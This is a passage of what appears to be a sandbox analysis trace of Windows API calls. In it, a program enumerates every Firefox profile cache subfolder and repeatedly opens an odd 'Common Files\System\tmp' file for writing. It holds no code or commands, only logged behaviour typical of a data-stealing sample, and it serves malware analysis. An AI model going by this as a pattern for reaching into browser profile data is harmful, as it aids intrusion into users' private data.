ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.472] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.472] GetLastError () returned 0x12 [0145.472] AreFileApisANSI () returned 1 [0145.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.472] GetFileType (hFile=0x190) returned 0x1 [0145.472] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d7ec50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.473] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.473] GetLastError () returned 0x12 [0145.473] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.473] GetLastError () returned 0x12 [0145.473] AreFileApisANSI () returned 1 [0145.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.473] GetFileType (hFile=0x18c) returned 0x1 [0145.473] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.474] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.474] GetLastError () returned 0x12 [0145.474] AreFileApisANSI () returned 1 [0145.474] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.474] GetFileType (hFile=0x18c) returned 0x1 [0145.474] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.474] AreFileApisANSI () returned 1 [0145.474] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.474] GetFileType (hFile=0x190) returned 0x1 [0145.475] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.475] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.475] GetLastError () returned 0x12 [0145.475] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.475] GetLastError () returned 0x12 [0145.475] AreFileApisANSI () returned 1 [0145.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.475] GetFileType (hFile=0x18c) returned 0x1 [0145.475] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.476] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.476] GetLastError () returned 0x12 [0145.476] AreFileApisANSI () returned 1 [0145.476] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.476] GetFileType (hFile=0x18c) returned 0x1 [0145.476] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.476] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.477] GetLastError () returned 0x12 [0145.477] AreFileApisANSI () returned 1 [0145.477] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.477] GetFileType (hFile=0x18c) returned 0x1 [0145.485] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.486] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.486] GetLastError () returned 0x12 [0145.486] AreFileApisANSI () returned 1 [0145.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.486] GetFileType (hFile=0x18c) returned 0x1 [0145.486] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.486] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.486] GetLastError () returned 0x12 [0145.486] AreFileApisANSI () returned 1 [0145.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.487] GetFileType (hFile=0x18c) returned 0x1 [0145.487] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.487] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.487] GetLastError () returned 0x12 [0145.487] AreFileApisANSI () returned 1 [0145.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.487] GetFileType (hFile=0x18c) returned 0x1 [0145.487] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.488] AreFileApisANSI () returned 1 [0145.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.488] GetFileType (hFile=0x190) returned 0x1 [0145.540] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.541] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.541] GetLastError () returned 0x12 [0145.541] AreFileApisANSI () returned 1 [0145.541] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.541] GetFileType (hFile=0x190) returned 0x1 [0145.541] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d58af0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.542] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.542] GetLastError () returned 0x12 [0145.542] AreFileApisANSI () returned 1 [0145.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.542] GetFileType (hFile=0x190) returned 0x1 [0145.542] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.543] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.543] GetLastError () returned 0x12 [0145.543] AreFileApisANSI () returned 1 [0145.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.543] GetFileType (hFile=0x190) returned 0x1 [0145.543] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.543] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.543] GetLastError () returned 0x12 [0145.543] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.544] GetLastError () returned 0x12 [0145.544] AreFileApisANSI () returned 1 [0145.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.544] GetFileType (hFile=0x18c) returned 0x1 [0145.544] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.544] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.544] GetLastError () returned 0x12 [0145.544] AreFileApisANSI () returned 1 [0145.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.544] GetFileType (hFile=0x18c) returned 0x1 [0145.545] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.545] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.545] GetLastError () returned 0x12 [0145.545] AreFileApisANSI () returned 1 [0145.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.545] GetFileType (hFile=0x18c) returned 0x1 [0145.545] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.546] AreFileApisANSI () returned 1 [0145.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.546] GetFileType (hFile=0x190) returned 0x1 [0145.546] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.546] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.546] GetLastError () returned 0x12 [0145.546] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.546] GetLastError () returned 0x12 [0145.546] AreFileApisANSI () returned 1 [0145.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, 